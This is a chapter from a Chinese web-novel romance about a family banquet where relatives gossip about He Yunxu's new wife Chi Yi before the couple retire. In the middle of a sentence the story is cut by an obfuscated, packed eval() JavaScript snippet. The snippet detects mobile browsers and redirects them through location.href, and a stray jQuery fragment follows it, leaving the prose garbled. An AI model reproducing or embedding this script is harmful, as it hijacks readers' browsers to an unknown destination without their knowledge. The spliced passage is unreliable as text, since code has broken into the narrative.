何云煦对上她的眼睛,脱口而出道:“瞎说,连头纱和捧花都没有,怎么就成婚纱了?”
这么大的锅,他可不乐意背。
何英哲看热闹不嫌事大地开腔:“瞧瞧,还嘴硬,也不知道是谁在邀请函里洋洋洒洒加了一大堆,让我们千万不要喧宾夺主,啊——”
她后面的话还没说完,旁边的妹妹一脚踹上她的膝盖,堵住她的嘴,边把人拖走,边讪笑道:“你们聊,我带她先走,她脑子不好,你们千万别被她影响。”
一旁凑热闹的陈槐喜闻乐见地抚掌:“一个嘴硬,一个嘴贱,真不愧是一家人。”
刚走一半的妹妹又折回来把他拖走。
周遭终于安静下来,只剩下优雅的乐奏声浪花一样,流动涌向耳畔。
迟意手指下意识揪紧裙摆,转头问何云煦:“她说得是真的吗?”
何云煦支支吾吾半天,“你知道,有的人的联想能力是很强的……”
迟意不咸不淡地问:“你要欺骗我?”
“不是的。”何云煦悄悄抬眼,伸手轻轻拉扯她的裙角,耷拉着眼皮解释,像受委屈的金毛犬。
“我确实很想直接给你一条婚纱,想要那种巨大又华丽的裙摆、头纱和捧花,但是这是不可能的,婚礼上,新娘的礼服才叫婚纱。这是你第一次露面,穿得稍微隆重一点,本该就是应该的。我挑白色,也只是因为白色适合你,没有其他理由。”
迟意很喜欢他每次都把事情,详详细细解释给她听,不让她有一丝一毫误会。她抓住他的手说:“我知道了,裙子我很喜欢。”
何云煦松了一口气,高兴地挽住她的手臂。
裙子,当然是找婚纱设计师定制的。
正式的婚纱以后再说,反正他要先爽一把。
他打量一圈,没在周围看见需要特别注意的人物,拉着迟意去找东西吃。
***
宴厅内。
几个头发斑白、穿着正式的中年人端着酒,看着不远处浓情蜜意的小夫妻,虚情假意客套道:“老三,你这个儿媳到底是哪家千金,藏得这么严实,以前从来都没有听说过。”
何鸿远虚伪一笑,“现在的孩子都有自己主意,我们这些老骨头管不动,就随他们去。”
“孩子再怎么有主意,也不能连婚礼都不办,亲戚也不见,这成什么事?”对面摩挲着下巴道,“要是让不知情人知道,还以为我们苛待了人家姑娘。”
何鸿远也叹气:“我也劝这两个孩子办婚礼,结果小姑娘说什么环保、不要铺张浪费,一领证就出去度蜜月,他们小俩口都做好决定,我做长辈又能说些什么?”
“哎,我怎么听那个焦家的小子说,这个姑娘的条件很一般,没什么背景,只一张脸说得过去。”
周围全都点头附和,说确实听说过有这么一回事。
何鸿远讶然,继续笑:“还有这种事,没想到我这个儿媳妇在圈子里还出起名了。不过啊,外面那些风言风语真假难辨,你们也不要总是听风是风听雨是雨。她一向低调,人又文静,打小成绩好,一毕业就进大公司当了领导,反正我是满意得不行。”
“哎呀,那这丫头还真不错……”
**
另一边。
一堆家族里的小辈像小老鼠一样,埋头聚在一块吱吱商讨,不知在说些什么。过了一会儿,有一个倒霉蛋被推了出来,她手上端着饮料,一脸苦哈哈地不住往后看,一堆人你推我搡地冲她挤眉弄眼,她只能硬着头皮上前。
她谨慎且讨好地开口:“哥、嫂,祝你们新春快乐,工作顺利!”
“新年好啊。”何元卓温和地看着她。
“就……我跟你们打听个事儿呗?”小姑娘扭扭捏捏开口。
他干脆道:“你说。”
她压低声音开口:“煦哥的婚事到底是怎么回事啊,之前不是听说,要和林家那个小明星订婚吗,怎么一眨眼就结婚了?”
何元卓这下真震惊了:“竟然还有订婚这件事,我都不知道。”
对方急切道:“那时候不是还有记者拍到两个人在一起吃饭的照片吗,还在网上小火了一把,虽然很快就在网上消失得无影不踪,结果这竟然都是假的?”
危玲猛然想起来,举手:“哦哦,这我知道,我那时候还点赞了。”
何元卓低头看了她一眼,回答道:“假的,否则我不可能不知道。”
危玲插嘴:“这事儿我知道,林月晗当时好像在追求小煦,不过小煦对她没意思。”
女孩恍然大悟:“原来是这样,那……煦哥跟对象到底是怎么认识的?哥你知道吗?”
危玲不屑道:“我猜他不知道,他什么八卦都不知道。”
何元卓大掌按住危玲的脖颈往下压了压,不让她往外乱说,笑道:“听说是一见钟情,见了一面以后就立刻就开始追求人家,巧不巧,对方也喜欢他,一拍即合就领证了。他这个年纪,正是冲动的时候,你以后就知道了。”
“天呐,果然是真爱,听起来真浪漫。”
危玲把何元卓的手拨开,抱着胳膊道:“说什么一见钟情,真好听,其实就是见色起意。这个姑娘是真漂亮,我都想做个像她的洋娃娃摆在家里,看了心情好。”
女孩不住点头:“我看到了,可好看了,而且长相很有故事感,可惜不是演员,不然我一定请来当我的女主角。”
危玲嘻嘻笑了一下:“小绘,她要是演员,估计轮不上你这个小导演。”
对面被打击到,脸有点红红的。
何元卓咳了一声,把危玲往身后拉了拉。
“行了,你们这帮小孩子少打听我们大人的事,多学点正经的。你煦哥现在就算想去野人,我们也管不了、拦不住。”
对方美滋滋道:“煦哥当野人才好,我找他拍纪录片,作业就有着落了。”
危玲竖起大拇指,感动道:“你这孩子,真有上进心,等会儿我让你爸爸多给你发点零花钱。”
小姑娘眼睛一亮,美滋滋道:“谢谢嫂嫂,我最最喜欢嫂嫂了!”
*
角落里。
“阿槐,云煦那个对象怎么样?”
陈槐靠在墙边喝酒,闻言道:“不怎么样。”
“听说是大美人哎。”
“她不是在这嘛,你两只眼睛是白长的?”
“她温柔吗?”
“温柔……个鬼。”
“那她有钱吗?”
他呵一声,“有钱个屁。”
“那云煦为什么和她结婚?”
“因为,”他陷入沉思,“因为爱?”
“这么说是真爱喽?”
“可不是,跟眼珠子一样宝贝着。”
陈槐煞有介事地揣摩,“不过,与其说真爱,我更觉得他这是一种行为艺术,这其中有未挖掘的艺术价值。”
对方未能理解他话中深意,转而问:“阿槐,你怎么还没找到对象?”
他冷笑:“我挑。”
“差不多就行了,眼光也别太高,谁不是凑合过来的。”
“就挑。”
“……”
*
摆满烛火鲜花的餐桌上。
何英哲倚靠在椅子上,滔滔不绝:“哎呀,我这个弟妹,可不得了,听说云煦为了娶人家,差点跟三伯决裂,多亏了他哥在其中斡旋,不然这事,还成不了。”
周围人讶然,“真的假的,看不出来,他这么深情啊。”
“那是,二十五年第一春,多不容易啊。你们瞧瞧,啧啧,眼珠子粘人家身上,扣都扣不下来。看到她身上的衣服没有?”
“看到了。”围众纷纷点头。
“国际顶级大师专门为她设计的,就上身的料子,全世界都找不出几块,就随便拿来给她穿,你说他是不是把这姑娘宝贝得不行?”
“天呐。”围众惊叹。
“听堂哥讲,他结婚以后,班不想上,钱不想挣,家不想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031693|159796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回,反正就一门心思扑在对象上,完全乐不思蜀了。”
“真好啊,英哲姐,我长大以后也想跟喜欢的人结婚。”旁边的人露出羡慕的神情。
“这个,这个嘛,有理想是好的,但是现实就是,像我一样,单身到三十岁。”何英哲露出苦恼的神情,她倒是想谈一场恋爱的,可不知怎么回事,就是没有桃花运。
“欸,英哲姐和槐哥好像都是单身,你们为什么不在一起?”有人突然发现了这件惊奇的事情,大胆发问。
何英哲用力敲了一下他的脑门。
“你可真会拉郎配。”
于是观众把视线挪向了她妹妹何英穗。
何英穗只好开口解释:“通俗来说,就是他们两个人属性相冲,谈对象不合适的。”
“什么意思?”
“你们槐哥嘴巴毒,她又喜欢犯贱,他们平时两看相厌。更别说,你槐哥的理想型是温柔贤惠型,我姐姐的理想型也是温柔顾家。”何英穗沉思,“婚恋场上,他们更像是……情敌?”
“哇!”他们异口同声。
“反正,他们两个压根没可能,你们就别盼着了。”
“哦!”
***
何云煦和迟意两个人在一起吃东西。
“这个,樱桃小蛋糕。”他拿起喂进她嘴里。
小蛋糕是一口的大小,海绵蛋糕搭配车厘子酱奶油,顶部放着一枚新鲜的去籽樱桃,酒红色的色调,看起来非常诱人。
迟意吃了一个,很好吃,但是她没有吃太多,因为有太多种类,简直尝不过来。而且她身上穿的裙子,也很限制她的发挥。
“草莓的。”他又取了另一块。
迟意也吃掉了。
她把蛋糕吃下去,在原地踌躇了一会儿,乌黑眼眸四处看看,不知道怎么回事,她老感觉有人在背后讲她。不应该啊,这里的人应该都不认识她。
何云煦又拽她去下一个桌子吃东西,她只好甩开莫名的直觉,跟他过去。
虽然她挺不习惯这里的生活,但是不得不承认,食物非常美味。
吃到半饱,陆陆续续有不少人过来打招呼。主要跟何云煦说话,她充当他的随身挂件。
但是没有想象中难熬,大家都很有分寸感和边界感,她一个人吃得很开心。
后半场,宴厅搭建的舞台上来各种各样的表演,请了国际上有名的乐手,年轻的小辈们都非常喜欢。
等到迟意吃饱了,吃困了,何云煦就先带她离开宴会场所。
喧嚣和交谈声被隔绝在沉重的乌金木拱门后面。
迟意打着哈欠,任由何云煦帮她把礼裙脱下来。他随手把裙子扔到沙发上,然后帮她把头顶的钻石发饰取下来,放在桌子上。
迟意揉揉眼睛道:“我自己来就好,你回去忙吧。”
他也是东道主,必然不能退场太早。
何云煦温柔地看着她:“那你先睡,不用等我。”
本来就不会等他啊,迟意莫名其妙,但受他的影响,还是说了几句肉麻的场面话。
“你去吧,我会想着你入睡的。”
何云煦受不了她说这样的话,呼吸不自觉加重,嗓音低低的:“我会早点回来陪你。”
他亲了一下她的额头,恋恋不舍地离开。
*
等到何云煦帮着将宾客和宴厅都安排妥当,重新回来之后,迟意早已睡熟了。
黑暗中,他不带声息地在开了一小盏床头灯,灯光昏黄黯淡,像天然的月亮。
迟意侧睡在床边,她最近总嚷嚷着热,被子只盖了一角,睡衣的裤腿皱巴巴得折在一起,露出一截白皙纤细的小腿。
他坐在床边,安静看着她,满眼柔情,心头涌上满足。
伸出手指,虚虚地描摹她的五官,拨弄了一下她的睫毛,又怕弄醒她,飞快地移开手指。
然后傻笑。
他的宝贝,怎么这么乖,这么漂亮,这么让他喜欢呢。